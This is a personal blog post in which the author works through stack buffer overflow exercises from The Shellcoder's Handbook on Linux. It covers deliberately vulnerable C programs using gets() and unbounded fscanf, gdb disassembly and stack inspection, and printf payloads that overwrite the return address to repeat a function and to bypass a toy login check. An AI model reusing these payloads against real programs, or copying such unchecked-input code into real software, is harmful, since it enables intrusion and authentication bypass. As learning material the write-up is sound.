My Brother bought me The Shellcoder’s Handbook as an early Christmas presant and so I’ve been going through the first few chapters over the past few days. It is quite comprehensive and to my delight I found I don’t understand everything in it – which means I’m going to learn a lot as I go through it.
The first section deals with Linux, and explains that it is doing so because of the “solid, reliable, internal operating system structures” available to work with.
So I finally bit the bullet and decided to get used to using gdb. I generally dislike using command line programs of this sort, particularly after having used wonderful applications such as IDA Pro and OllyDbg, but after dragging myself kicking and screaming through a tutorial or two, I start to like it. I was also consoled by the fact that I found the vi syntax highlighting with the backtrack3 background to be damn sexy:
The following two programs are taken from the second chapter with my own notes rather than word for word from the book. One reason being I’ve found that the book has a few technical errors in it – which, in a way, is good because it means I have to understand what’s going on, the other reason is that I’m trying to solidify it in my own mind and writing this helps.
sample program 1 (reproduced from the book):
#include <stdio.h>
#include <string.h>
void return_input(void)
{
char array[30];
gets(array);
printf(“%s\n”, array);
}
main()
{
return_input();
return 0;
}
so we compile this:
cc overflow.c -o overflow
and ignore the warning about the ‘gets’ function.
running it demonstrates that all it does is take some input and pump it out again:
bt temp # ./overflow
Hello World
Hello World
bt temp #
but what happens when we put in more than 30 characters?
bt temp # ./overflow
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDD
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDD
Segmentation fault
bt temp #
ok so just for kicks, we want to make the program display the input twice, so we open it up in gdb:
bt temp # gdb overflow
GNU gdb 6.6
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i486-slackware-linux”…
Using host libthread_db library “/lib/libthread_db.so.1″.
then we disassemble the main function:
(gdb) disas main
Dump of assembler code for function main:
0x080483aa <main+0>: lea 0×4(%esp),%ecx
0x080483ae <main+4>: and $0xfffffff0,%esp
0x080483b1 <main+7>: pushl 0xfffffffc(%ecx)
0x080483b4 <main+10>: push %ebp
0x080483b5 <main+11>: mov %esp,%ebp
0x080483b7 <main+13>: push %ecx
0x080483b8 <main+14>: sub $0×4,%esp
0x080483bb <main+17>: call 0×8048384 <return_input>
0x080483c0 <main+22>: mov $0×0,%eax
0x080483c5 <main+27>: add $0×4,%esp
0x080483c8 <main+30>: pop %ecx
0x080483c9 <main+31>: pop %ebp
0x080483ca <main+32>: lea 0xfffffffc(%ecx),%esp
0x080483cd <main+35>: ret
End of assembler dump.
and take note of the address where it is calling the return_input function (0x080483bb).
dissassembling the return_input function gives us the following:
(gdb) disas return_input
Dump of assembler code for function return_input:
0×08048384 <return_input+0>: push %ebp
0×08048385 <return_input+1>: mov %esp,%ebp
0×08048387 <return_input+3>: sub $0×28,%esp
0x0804838a <return_input+6>: sub $0xc,%esp
0x0804838d <return_input+9>: lea 0xffffffe2(%ebp),%eax
0×08048390 <return_input+12>: push %eax
0×08048391 <return_input+13>: call 0x80482b0 <gets@plt>
0×08048396 <return_input+18>: add $0×10,%esp
0×08048399 <return_input+21>: sub $0xc,%esp
0x0804839c <return_input+24>: lea 0xffffffe2(%ebp),%eax
0x0804839f <return_input+27>: push %eax
0x080483a0 <return_input+28>: call 0x80482d0 <puts@plt>
0x080483a5 <return_input+33>: add $0×10,%esp
0x080483a8 <return_input+36>: leave
0x080483a9 <return_input+37>: ret
End of assembler dump.
note the two calls – one to gets and one to puts. set a breakpoint on the gets and at the ret command at the end of the function:
(gdb) break *0×08048391
Breakpoint 1 at 0×8048391
(gdb) break *0x080483a9
Breakpoint 2 at 0x80483a9
and execute
(gdb) run
Starting program: /temp/overflowBreakpoint 1, 0×08048391 in return_input ()
now, we look back at the dissassembly of the main function and note that the next instruction after calling return_input should be 0x080483c0.
at this point, because we are in the function return_input, the eip has been pushed to the stack. so we take a snapshot of the stack:
(gdb) x/20x $esp
0xbffff270: 0xbffff28a 0×00000000 0×00000000 0×08048310
0xbffff280: 0×00000000 0x0804958c 0xbffff298 0x0804828d
0xbffff290: 0xb7fc9ff4 0xb7fc8220 0xbffff2c8 0x080483f9
0xbffff2a0: 0xb7fc9ff4 0xbffff35c 0xbffff2b8 0x080483c0
0xbffff2b0: 0xb7ff3b90 0xbffff2d0 0xbffff328 0xb7ea1df8
and see that the eip (highlighted) is sitting there nicely, ready for us to overwrite.
hit continue:
(gdb) continue
Continuing.
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDD
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDBreakpoint 2, 0x080483a9 in return_input ()
so now we’re at the return command – lets take another look at the stack:
(gdb) x/20x $esp
0xbffff2ac: 0×44444444 0xb7004444 0xbffff2d0 0xbffff328
0xbffff2bc: 0xb7ea1df8 0xb8000ce0 0x080483e0 0xbffff328
0xbffff2cc: 0xb7ea1df8 0×00000001 0xbffff354 0xbffff35c
0xbffff2dc: 0xb8001890 0×00000000 0×00000001 0×00000001
0xbffff2ec: 0×00000000 0xb7fc9ff4 0xb8000ce0 0×00000000
you can see that the address at the top of the stack just prior to execution of the ret command is a whole bunch of D’s, 6 of them in fact, meaning that because we entered 10 in, the other four must have overwritten the EBP.
going back 4 bytes in the stack confirms it:
(gdb) x/20x 0xbffff2a8
0xbffff2a8: 0×44444444 0×44444444 0xb7004444 0xbffff2d0
and continueing again confirms the overwrite of the return address:
(gdb) continue
Continuing.Program received signal SIGSEGV, Segmentation fault.
0×44444444 in ?? ()
so in anycase, now we want to overwrite the EIP with the address of the return_input function to make it output twice. so we can use the printf function to send the non-printable characters to the overflow program. we want to fill up the buffer (AAAAAAAAAABBBBBBBBBBCCCCCCCCCC), overwrite the pushed ebp (DDDD) and then overwrite the return return address with the address of the return_input function.
bt temp # printf “AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\xbb\x83\x04\x08″ | ./overflow
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD»
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDĂ€
Now here in The Shellcoders handbook, is an example of 1 of about 3 or so errors I’ve encountered in this chapter alone – the line in the book prints 6 D’s and not 4, causing the return address to contain 2 D’s rather than the code we passed in. don’t really know what happened to proofreading but it’s a good feeling to understand what is wrong with their examples and to be able to correct it so perhaps they put them in deliberately. (I just hope that I’m able to pick these things up as the book gets more advanced.
The book goes on to explain that we don’t necessarily always want to spawn a shell with our shellcode – sometimes exploiting the program within itself is enough. in fact it mentions that many defenses against buffer overflows are rendered useless if the atacker uses the functionality of the program to achieve their goals. – so the next example uses a buffer overflow to bypass authentication:
Here I havn’t reproduced their code at all, because I wanted to practice by myself I wrote my own program that does basically the same thing. this is based on the helloworld4 program from a previous blog.
#include <stdio.h>
#include <string.h>
#include <ctype.h>void keygen(char p[],char c[])
{
int i,j;
char key[] = “NICKFNORD”;
//generate password C=p+k(mod26) and check
for(i=0,j=0;i<strlen(p);i++,j++)
{
if(j>=strlen(key))
{
j=0;
}
c[i] = ((toupper(p[i])-65+key[(j)]-65)%26+65);}
}
int get_username_password()
{
char username[50];
char password[50];
char correctp[50];
int i,j;for (i=0;i<50;i++)
{
correctp[i] = “”;
password[i] = “”;
username[i] = “”;
}printf(“Enter Username:\n”);
fscanf(stdin,”%s”,username);
printf(“Enter Password:\n”);
fscanf(stdin,”%s”,password);
//find length of username/password, must be 8 characters
if (strlen(username) < 8 | strlen(password) < 8 )
{
printf(“invalid username/password combination”);
return 0;
}keygen(username,correctp);
if (strcmp(correctp,password)==0)
{
return 1;
}
else
{
return 0;
}
}int do_valid_stuff()
{
printf(“Wooo – The username and password are correct!\n exiting\n\n”);
exit (0);
}
int do_invalid_stuff()
{
printf(“Danger Danger will robinson!!!\n\n”);
exit (1);
}int main(void)
{if (get_username_password() )
{
do_valid_stuff();
}
else
{
do_invalid_stuff();
}
return 0;
}
and run it:
bt temp # serial
Enter Username:
AAAAAAAAAA
Enter Password:
BBBBBBBBBB
Danger Danger will robinson!!!
Awwwwww, we suck….
So the idea with this one is that we redirect the program flow to the do_valid_stuff() function. we know that there’s no validation on the input length so if we send through enough characters it will overflow.
first we find the address of the call to do_valid_stuff:
(gdb) disas main
Dump of assembler code for function main:
0x080486b0 <main+0>: lea 0×4(%esp),%ecx
0x080486b4 <main+4>: and $0xfffffff0,%esp
0x080486b7 <main+7>: pushl 0xfffffffc(%ecx)
0x080486ba <main+10>: push %ebp
0x080486bb <main+11>: mov %esp,%ebp
0x080486bd <main+13>: push %ecx
0x080486be <main+14>: sub $0×4,%esp
0x080486c1 <main+17>: call 0x804851c <get_username_password>
0x080486c6 <main+22>: test %eax,%eax
0x080486c8 <main+24>: je 0x80486d1 <main+33>
0x080486ca <main+26>: call 0×8048670 <do_valid_stuff>
0x080486cf <main+31>: jmp 0x80486d6 <main+38>
0x080486d1 <main+33>: call 0×8048690 <do_invalid_stuff>
0x080486d6 <main+38>: mov $0×0,%eax
0x080486db <main+43>: add $0×4,%esp
0x080486de <main+46>: pop %ecx
0x080486df <main+47>: pop %ebp
0x080486e0 <main+48>: lea 0xfffffffc(%ecx),%esp
0x080486e3 <main+51>: ret
End of assembler dump.
so we find we want to redirect to 0x080486ca.
then we ensure that our core will be dumped if there’s a segmentation fault:
ulimit -c unlimited
and send through a long series of characters:
bt temp # printf “AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ” | ./serial
Enter Username:
Enter Password:
Segmentation fault (core dumped)bt temp # gdb -q -c core
(no debugging symbols found)
Using host libthread_db library “/lib/libthread_db.so.1″.
Core was generated by `./serial’.
Program terminated with signal 11, Segmentation fault.
#0 0×45454545 in ?? ()
so we know that we can overwrite the E’s with the return address
or we could have used the debugger of course and put a break point on the return command of the get_username_password function and then dumped the stack:
0x0804866b <get_username_password+335>: mov 0xfffffffc(%ebp),%edi
0x0804866e <get_username_password+338>: leave
0x0804866f <get_username_password+339>: ret
End of assembler dump.
(gdb) break *0x0804866f
Breakpoint 1 at 0x804866f
(gdb) run
Starting program: /temp/serial
Enter Username:
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ
Enter Password:
asdfasdfasdfBreakpoint 1, 0x0804866f in get_username_password ()
(gdb) x/4x $esp
0xbffff31c: 0×45454545 0×46464646 0×47474747 0×48484848
demonstrating that at the return command, the last item on the stack is EEEE…
and so we modify our call to the program:
bt temp # printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEAAAABBBBCCCCDDDD\xca\x86\x04\x08" | ./serial
Enter Username:
Enter Password:
Wooo - The username and password are correct!
exiting
…and so we’ve redirected the program flow and have accessed a “secure” area of the program – yay for us.
of course, this isn’t really all that impressive in the scheme of things – I just wanted to demonstrate (to myself if no one else) the use of gdb. and writing this helps solidify this in my mind.
As it says in The Shellcoders Handbook: “Now it is time to do something useful with the vulnerability you exploited earlier. Forcing overflow.c to ask for input twice instead of once is a neat trick, but hardly something you would want to tell your friends about – ” Hey, guess what, I caused a 15 line C program to ask for input twice!” No, we want you to be cooler than that.“
yes, well – coolness levels increasing ever so slightly.
